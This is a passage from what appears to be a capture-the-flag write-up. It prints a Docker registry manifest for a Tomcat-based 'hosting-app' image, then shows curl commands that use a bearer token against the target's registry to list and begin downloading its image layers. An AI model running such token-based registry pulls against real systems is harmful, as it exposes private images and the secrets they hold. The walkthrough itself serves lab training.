\\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz\",\"TOMCAT_ASC_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) \",\"CMD [\\\"catalina.sh\\\" \\\"run\\\"]\"],\"Image\":\"sha256:57f3a04ba3229928a30942945b0fb3c74bd61cec80cbc5a41d7d61a2d1c3ec4f\",\"Volumes\":null,\"WorkingDir\":\"/usr/local/tomcat\",\"Entrypoint\":null,\"OnBuild\":[],\"Labels\":{}},\"created\":\"2023-07-04T10:57:03.768956926Z\",\"docker_version\":\"20.10.23\",\"id\":\"1f5797acb3ce332a92212fac43141b9179f396db844876ea976828c027cc5cd2\",\"os\":\"linux\",\"parent\":\"b581fd7323f8b829979a384105c27aeff6f114f0b5e63aaa00e4090ce50df370\",\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"b581fd7323f8b829979a384105c27aeff6f114f0b5e63aaa00e4090ce50df370\",\"parent\":\"1c287aa55678a4fa6681ba16d09ce6bf798fac6640dceb43230e18a04316aee1\",\"created\":\"2023-07-04T10:57:03.500684978Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) USER app\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"1c287aa55678a4fa6681ba16d09ce6bf798fac6640dceb43230e18a04316aee1\",\"parent\":\"c5b60d48ea6e9578b52142829c5a979f0429207c7ff107f556c73b2d00230ba2\",\"created\":\"2023-07-04T10:57:03.230181852Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) COPY --chown=app:appfile:24e216b758a41629b4357c4cd3aa1676635e7f68b432edff5124a8af4b95362f in /etc/hosting.ini \"]}}"
},
{
"v1Compatibility": "{\"id\":\"c5b60d48ea6e9578b52142829c5a979f0429207c7ff107f556c73b2d00230ba2\",\"parent\":\"8352728bd14b4f5a18051ae76ce15e3d3a97180d5a699b3847d89570e37354f1\",\"created\":\"2023-07-04T10:57:02.865658784Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c chown -R app /usr/local/tomcat/\"]}}"
},
{
"v1Compatibility": "{\"id\":\"8352728bd14b4f5a18051ae76ce15e3d3a97180d5a699b3847d89570e37354f1\",\"parent\":\"a785065e8f19dad061ddf5035668d11bc69cd943634130ffd35ab8fcd9884da0\",\"created\":\"2023-07-04T10:56:56.087876543Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c adduser -S -u 1000 -G app app\"]}}"
},
{
"v1Compatibility": "{\"id\":\"a785065e8f19dad061ddf5035668d11bc69cd943634130ffd35ab8fcd9884da0\",\"parent\":\"690545aba874c1cbffa3b6cfa0b6708cffb39c97d4b823b4cef4abd0db23cce0\",\"created\":\"2023-07-04T10:56:55.215778789Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c addgroup -S -g 1000 app\"]}}"
},
{
"v1Compatibility": "{\"id\":\"690545aba874c1cbffa3b6cfa0b6708cffb39c97d4b823b4cef4abd0db23cce0\",\"parent\":\"a133674c237f389cb7d5e0c12177d5a7f3dcc3f068f6e92561f5898835c827d6\",\"created\":\"2023-07-04T10:56:54.346382505Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) COPY file:c7945822095fe4c2530de4cf6bf7c729cbe6af014740a937187ab5d2e35c30f6 in /usr/local/tomcat/webapps/hosting.war \"]}}"
},
{
"v1Compatibility": "{\"id\":\"a133674c237f389cb7d5e0c12177d5a7f3dcc3f068f6e92561f5898835c827d6\",\"parent\":\"57f5a3c239ecc33903be4eabc571b72d8d934124b84dc6bdffb476845a9af610\",\"created\":\"2023-07-04T10:56:53.888849151Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) COPY file:9fd68c3bdf49b0400fb5ecb77c7ac57ae96f83db385b6231feb7649f7daa5c23 in /usr/local/tomcat/conf/context.xml \"]}}"
},
{
"v1Compatibility": "{\"id\":\"57f5a3c239ecc33903be4eabc571b72d8d934124b84dc6bdffb476845a9af610\",\"parent\":\"b01f09ef77c3df66690a924577eabb8ed7043baeaa37a1b608370d0489e4fdee\",\"created\":\"2023-07-04T10:56:53.629058758Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /usr/local/tomcat/webapps/ROOT\"]}}"
},
{
"v1Compatibility": "{\"id\":\"b01f09ef77c3df66690a924577eabb8ed7043baeaa37a1b608370d0489e4fdee\",\"parent\":\"80e769c3cd6d9be2bcfea77a058c23d7ea112afaddce9e12c8eebf6d759923fe\",\"created\":\"2018-01-10T09:34:07.981925046Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"catalina.sh\\\" \\\"run\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"80e769c3cd6d9be2bcfea77a058c23d7ea112afaddce9e12c8eebf6d759923fe\",\"parent\":\"f5f0aebde7367c572f72c6d19cbea5b9b039b281b5e140bcd1a9b30ebc4883ce\",\"created\":\"2018-01-10T09:34:07.723478629Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) EXPOSE 8080/tcp\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"f5f0aebde7367c572f72c6d19cbea5b9b039b281b5e140bcd1a9b30ebc4883ce\",\"parent\":\"7aa3546803b6195a9839f57454a9d61a490e5e5f921b65b7ce9883615a7fef76\",\"created\":\"2018-01-10T09:34:07.47548453Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -e \\t\\u0026\\u0026 nativeLines=\\\"$(catalina.sh configtest 2\\u003e\\u00261)\\\" \\t\\u0026\\u0026 nativeLines=\\\"$(echo \\\"$nativeLines\\\" | grep 'Apache Tomcat Native')\\\" \\t\\u0026\\u0026 nativeLines=\\\"$(echo \\\"$nativeLines\\\" | sort -u)\\\" \\t\\u0026\\u0026 if ! echo \\\"$nativeLines\\\" | grep 'INFO: Loaded APR based Apache Tomcat Native library' \\u003e\\u00262; then \\t\\techo \\u003e\\u00262 \\\"$nativeLines\\\"; \\t\\texit 1; \\tfi\"]}}"
},
{
"v1Compatibility": "{\"id\":\"7aa3546803b6195a9839f57454a9d61a490e5e5f921b65b7ce9883615a7fef76\",\"parent\":\"c23e626ece757750f0686befb692e52700626071dcd62c9b7424740c3683a842\",\"created\":\"2018-01-10T09:33:57.030831358Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -eux; \\t\\tapk add --no-cache --virtual .fetch-deps \\t\\tca-certificates \\t\\topenssl \\t; \\t\\tsuccess=; \\tfor url in $TOMCAT_TGZ_URLS; do \\t\\tif wget -O tomcat.tar.gz \\\"$url\\\"; then \\t\\t\\tsuccess=1; \\t\\t\\tbreak; \\t\\tfi; \\tdone; \\t[ -n \\\"$success\\\" ]; \\t\\techo \\\"$TOMCAT_SHA1 *tomcat.tar.gz\\\" | sha1sum -c -; \\t\\tsuccess=; \\tfor url in $TOMCAT_ASC_URLS; do \\t\\tif wget -O tomcat.tar.gz.asc \\\"$url\\\"; then \\t\\t\\tsuccess=1; \\t\\t\\tbreak; \\t\\tfi; \\tdone; \\t[ -n \\\"$success\\\" ]; \\t\\tgpg --batch --verify tomcat.tar.gz.asc tomcat.tar.gz; \\ttar -xvf tomcat.tar.gz --strip-components=1; \\trm bin/*.bat; \\trm tomcat.tar.gz*; \\t\\tnativeBuildDir=\\\"$(mktemp -d)\\\"; \\ttar -xvf bin/tomcat-native.tar.gz -C \\\"$nativeBuildDir\\\" --strip-components=1; \\tapk add --no-cache --virtual .native-build-deps \\t\\tapr-dev \\t\\tcoreutils \\t\\tdpkg-dev dpkg \\t\\tgcc \\t\\tlibc-dev \\t\\tmake \\t\\t\\\"openjdk${JAVA_VERSION%%[-~bu]*}\\\"=\\\"$JAVA_ALPINE_VERSION\\\" \\t\\topenssl-dev \\t; \\t( \\t\\texport CATALINA_HOME=\\\"$PWD\\\"; \\t\\tcd \\\"$nativeBuildDir/native\\\"; \\t\\tgnuArch=\\\"$(dpkg-architecture --query DEB_BUILD_GNU_TYPE)\\\"; \\t\\t./configure \\t\\t\\t--build=\\\"$gnuArch\\\" \\t\\t\\t--libdir=\\\"$TOMCAT_NATIVE_LIBDIR\\\" \\t\\t\\t--prefix=\\\"$CATALINA_HOME\\\" \\t\\t\\t--with-apr=\\\"$(which apr-1-config)\\\" \\t\\t\\t--with-java-home=\\\"$(docker-java-home)\\\" \\t\\t\\t--with-ssl=yes; \\t\\tmake -j \\\"$(nproc)\\\"; \\t\\tmake install; \\t); \\trunDeps=\\\"$( \\t\\tscanelf --needed --nobanner --format '%n#p' --recursive \\\"$TOMCAT_NATIVE_LIBDIR\\\" \\t\\t\\t| tr ',' '\\\\n' \\t\\t\\t| sort -u \\t\\t\\t| awk 'system(\\\"[ -e /usr/local/lib/\\\" $1 \\\" ]\\\") == 0 { next } { print \\\"so:\\\" $1 }' \\t)\\\"; \\tapk add --virtual .tomcat-native-rundeps $runDeps; \\tapk del .fetch-deps .native-build-deps; \\trm -rf \\\"$nativeBuildDir\\\"; \\trm bin/tomcat-native.tar.gz; \\t\\tapk add --no-cache bash; \\tfind ./bin/ -name '*.sh' -exec sed -ri 's|^#!/bin/sh$|#!/usr/bin/env bash|' '{}' +\"]}}"
},
{
"v1Compatibility": "{\"id\":\"c23e626ece757750f0686befb692e52700626071dcd62c9b7424740c3683a842\",\"parent\":\"ba737ee0cd9073e2003dbc41ebaa4ac347a9da8713ee3cdd18c9099c71d715d7\",\"created\":\"2018-01-10T09:33:33.620084689Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_ASC_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz.asc\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"ba737ee0cd9073e2003dbc41ebaa4ac347a9da8713ee3cdd18c9099c71d715d7\",\"parent\":\"67f844d01db77d9e5e9bdc5c154a8d40bdfe8ec30f2c0aa6c199448aab75f94e\",\"created\":\"2018-01-10T09:33:33.366948345Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_TGZ_URLS=https://www.apache.org/dyn/closer.cgi?action=download\\u0026filename=tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www-us.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://www.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz \\thttps://archive.apache.org/dist/tomcat/tomcat-9/v9.0.2/bin/apache-tomcat-9.0.2.tar.gz\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"67f844d01db77d9e5e9bdc5c154a8d40bdfe8ec30f2c0aa6c199448aab75f94e\",\"parent\":\"61e9c45c309801f541720bb694574780aaf3f9c9ba939afd3a2248f921257e2b\",\"created\":\"2018-01-10T09:33:33.130789837Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_SHA1=b59e1d658a4edbca7a81d12fd6f20203a4da9743\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"61e9c45c309801f541720bb694574780aaf3f9c9ba939afd3a2248f921257e2b\",\"parent\":\"7aa678f161898c0b2fb24800833ec8a88e29662a4aeb73d9fd09f0f3e2880638\",\"created\":\"2018-01-10T09:33:32.902199138Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_VERSION=9.0.2\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7aa678f161898c0b2fb24800833ec8a88e29662a4aeb73d9fd09f0f3e2880638\",\"parent\":\"d436c875c4061e0058d744bb26561bc738cba69b135416d441401faeb47b558c\",\"created\":\"2018-01-10T09:33:32.656603152Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_MAJOR=9\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"d436c875c4061e0058d744bb26561bc738cba69b135416d441401faeb47b558c\",\"parent\":\"15ee0d244e69dcb1e0ff2817e31071a18a7352ae4e5bb1765536a831bf69ecfc\",\"created\":\"2018-01-10T09:33:29.658955433Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -ex; \\tfor key in $GPG_KEYS; do \\t\\tgpg --keyserver ha.pool.sks-keyservers.net --recv-keys \\\"$key\\\"; \\tdone\"]}}"
},
{
"v1Compatibility": "{\"id\":\"15ee0d244e69dcb1e0ff2817e31071a18a7352ae4e5bb1765536a831bf69ecfc\",\"parent\":\"ff0264281c2fadd4108ccac96ddce82587bc26666b918f31bcb43b7ef73c65e8\",\"created\":\"2018-01-10T09:33:20.722817917Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"ff0264281c2fadd4108ccac96ddce82587bc26666b918f31bcb43b7ef73c65e8\",\"parent\":\"4d9c918fda475437138013a0cf2e0c9086e7c1ed8190c1a0cef8d2b882937428\",\"created\":\"2018-01-10T09:29:11.265649726Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c apk add --no-cache gnupg\"]}}"
},
{
"v1Compatibility": "{\"id\":\"4d9c918fda475437138013a0cf2e0c9086e7c1ed8190c1a0cef8d2b882937428\",\"parent\":\"7577bdb4d1f873242bef6582d26031cdea0a64cccf8f8608a8c07cb3cc74611e\",\"created\":\"2018-01-10T09:29:07.609109611Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7577bdb4d1f873242bef6582d26031cdea0a64cccf8f8608a8c07cb3cc74611e\",\"parent\":\"839af1242b7dcef37994affedfee3e2c52246e521ac101e703737fc0164cdf5c\",\"created\":\"2018-01-10T09:29:07.376174727Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"839af1242b7dcef37994affedfee3e2c52246e521ac101e703737fc0164cdf5c\",\"parent\":\"ea6f6f5cf5c076bca613117419ab5c2d591798dc146fa25b1ab5f77dadf35a0c\",\"created\":\"2018-01-10T09:29:07.155029096Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) WORKDIR /usr/local/tomcat\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"ea6f6f5cf5c076bca613117419ab5c2d591798dc146fa25b1ab5f77dadf35a0c\",\"parent\":\"c55835e0e7564582d31203616f363dfb303cab260c1a6dec9a2a0329a8e27b81\",\"created\":\"2018-01-10T09:29:06.890891119Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p \\\"$CATALINA_HOME\\\"\"]}}"
},
{
"v1Compatibility": "{\"id\":\"c55835e0e7564582d31203616f363dfb303cab260c1a6dec9a2a0329a8e27b81\",\"parent\":\"32c57341ccdca27052b71277715b86f2c0ad436ac493bb79467a8df664379ba9\",\"created\":\"2018-01-10T09:29:06.087097667Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV PATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"32c57341ccdca27052b71277715b86f2c0ad436ac493bb79467a8df664379ba9\",\"parent\":\"c54559a23f245bd25ad627150eaadb1e99a60811ad2955e6a747f2a59b09b22b\",\"created\":\"2018-01-10T09:29:05.864118034Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV CATALINA_HOME=/usr/local/tomcat\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"c54559a23f245bd25ad627150eaadb1e99a60811ad2955e6a747f2a59b09b22b\",\"parent\":\"86a2c94b64bc779ec79acaa9f0ab00dff4a664d23f7546330a3165f1137cd596\",\"created\":\"2018-01-10T04:52:04.664605562Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -x \\t\\u0026\\u0026 apk add --no-cache \\t\\topenjdk8-jre=\\\"$JAVA_ALPINE_VERSION\\\" \\t\\u0026\\u0026 [ \\\"$JAVA_HOME\\\" = \\\"$(docker-java-home)\\\" ]\"]}}"
},
{
"v1Compatibility": "{\"id\":\"86a2c94b64bc779ec79acaa9f0ab00dff4a664d23f7546330a3165f1137cd596\",\"parent\":\"8ad7d8482d05498820d3256b0ba7eeaf21b8e7ab63044a4bce65116a5dac6a49\",\"created\":\"2018-01-10T04:51:57.540527702Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV JAVA_ALPINE_VERSION=8.151.12-r0\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"8ad7d8482d05498820d3256b0ba7eeaf21b8e7ab63044a4bce65116a5dac6a49\",\"parent\":\"55332c2663c5991fc04851d7980056a37cf2d703e90ef658fd8adccd947f5ca1\",\"created\":\"2018-01-10T04:51:57.314525921Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV JAVA_VERSION=8u151\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"55332c2663c5991fc04851d7980056a37cf2d703e90ef658fd8adccd947f5ca1\",\"parent\":\"3f24ff911184223f9c7e0b260cce136bc9cededdbdce79112e2a84e4c34bb568\",\"created\":\"2018-01-10T04:51:57.072315887Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"3f24ff911184223f9c7e0b260cce136bc9cededdbdce79112e2a84e4c34bb568\",\"parent\":\"0ed181ef14afa5947383aaa2644e5ece84fb1a70f3156708709f2d04b6a6ec9e\",\"created\":\"2018-01-10T04:51:56.850972184Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jre\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"0ed181ef14afa5947383aaa2644e5ece84fb1a70f3156708709f2d04b6a6ec9e\",\"parent\":\"5a545e9783766d38b2d99784c9d9bf5ed547bf48e1a293059b4cc7f27dd34b31\",\"created\":\"2018-01-10T04:48:25.431215554Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c { \\t\\techo '#!/bin/sh'; \\t\\techo 'set -e'; \\t\\techo; \\t\\techo 'dirname \\\"$(dirname \\\"$(readlink -f \\\"$(which javac || which java)\\\")\\\")\\\"'; \\t} \\u003e /usr/local/bin/docker-java-home \\t\\u0026\\u0026 chmod +x /usr/local/bin/docker-java-home\"]}}"
},
{
"v1Compatibility": "{\"id\":\"5a545e9783766d38b2d99784c9d9bf5ed547bf48e1a293059b4cc7f27dd34b31\",\"parent\":\"2dea27bce7d674e8140e0378fe5a51157011109d9da593bab1ecf86c93595292\",\"created\":\"2018-01-10T04:48:24.510692074Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ENV LANG=C.UTF-8\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"2dea27bce7d674e8140e0378fe5a51157011109d9da593bab1ecf86c93595292\",\"parent\":\"28a0c8bbcab32237452c3dadfb8302a6fab4f6064be2d858add06a7be8c32924\",\"created\":\"2018-01-09T21:10:58.579708634Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"28a0c8bbcab32237452c3dadfb8302a6fab4f6064be2d858add06a7be8c32924\",\"created\":\"2018-01-09T21:10:58.365737589Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:093f0723fa46f6cdbd6f7bd146448bb70ecce54254c35701feeceb956414622f in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "BH7A:RDKN:4ITR:JT3B:KSKO:BYLB:4MSQ:LUYS:OOD3:2PBY:KHEB:CAEI",
"kty": "EC",
"x": "UxAAuH95bWHK1LHGCDfBeadxl36QiO9JIcxWNYOaxME",
"y": "Sw7ANCTR0DC64PdGq40nNCsS-uYw9vi76XhJyEeD61E"
},
"alg": "ES256"
},
"signature": "FdAFAT7c0-yBPWJGoDIkaS7e1XUd3r-dKYdIZxICt6V82_z__hp4ovTigVqv4jRtQ-e_cUDXf2WKOESWHnlTbQ",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI2MDkxLCJmb3JtYXRUYWlsIjoiQ24wIiwidGltZSI6IjIwMjMtMDctMjVUMjM6MzY6MzFaIn0"
}
]
}
To actually download all of them, we will use some shell scripting:
$ curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/latest -sH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA' | jq -r '.fsLayers[].blobSum'
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:0bf45c325a696381eea5176baa1c8e84fbf0fe5e2ddf96a22422b10bf879d0ba
sha256:4a19a05f49c2d93e67d7c9ea8ba6c310d6b358e811c8ae37787f21b9ad82ac42
sha256:9e700b74cc5b6f81ed6513fa03c7b6ab11a71deb8e27604632f723f81aca3268
sha256:b5ac54f57d23fa33610cb14f7c21c71aa810e58884090cead5e3119774a202dc
sha256:396c4a40448860471ae66f68c261b9a0ed277822b197730ba89cb50528f042c7
sha256:9d5bcc17fed815c4060b373b2a8595687502925829359dc244dd4cdff777a96c
sha256:ab55eca3206e27506f679b41b39ba0e4c98996fa347326b6629dae9163b4c0ec
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:f7b708f947c32709ecceaffd85287d5eb9916a3013f49c8416228ef22c2bf85e
sha256:497760bf469e19f1845b7f1da9cfe7e053beb57d4908fb2dff2a01a9f82211f9
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:e4cc5f625cda9caa32eddae6ac29b170c8dc1102988b845d7ab637938f2f6f84
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:0da484dfb0612bb168b7258b27e745d0febf56d22b8f10f459ed0d1dfe345110
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:7b43ca85cb2c7ccc62e03067862d35091ee30ce83e7fed9e135b1ef1c6e2e71b
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:fa7536dd895ade2421a9a0fcf6e16485323f9e2e45e917b1ff18b0f648974626
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:5de5f69f42d765af6ffb6753242b18dd4a33602ad7d76df52064833e5c527cb4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
sha256:ff3a5c916c92643ff77519ffa742d3ec61b7f591b6b7504599d95a4a41134e28
$ blobs=$(curl -k https://10.10.11.223:5000/v2/hosting-app/manifests/latest -sH 'Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiRG9ja2VyIHJlZ2lzdHJ5IiwiZXhwIjoxNjkwMzI5MDMwLCJuYmYiOjE2OTAzMjgxMjAsImlhdCI6MTY5MDMyODEzMCwianRpIjoiMjcxMjE4MTkzOTE1OTY2NDI1MiIsImFjY2VzcyI6W3sidHlwZSI6InJlcG9zaXRvcnkiLCJuYW1lIjoiaG9zdGluZy1hcHAiLCJhY3Rpb25zIjpbInB1bGwiXX1dfQ.gY4JoGWaELk_3AGkatkP-FhjN12UXpm-DfyUTN7jQ7PQcPkxDYi6HUeNBAPmWv4T9BkhITaFJJYgTktyfOc_n-_6lkr_aAN46DOABV2pAEHP7JdhfoVw5tlyt5tYZ6Gh8DZh9KOee8jz6p3ZCFbBE-0d0nAWYAhK-Pi1styVq6mwCUziSILnOWZ8l1s6hiUiGXvMaMACpvgzq70K350i_ozv0ZlqNGkhd6po0LTd0Ves7ICaf2-BaJ7HXMtrliz-JcOLiAPasxKPpojmOVP0vnYyFxKxw6kA-t-i6MMpP-lrCW8ASsxTK7Y_x2bn-A3ZBsM1oINQmpaP0FQero3kuA' | jq -r '.fsLayers[].blobSum' | sort -u)
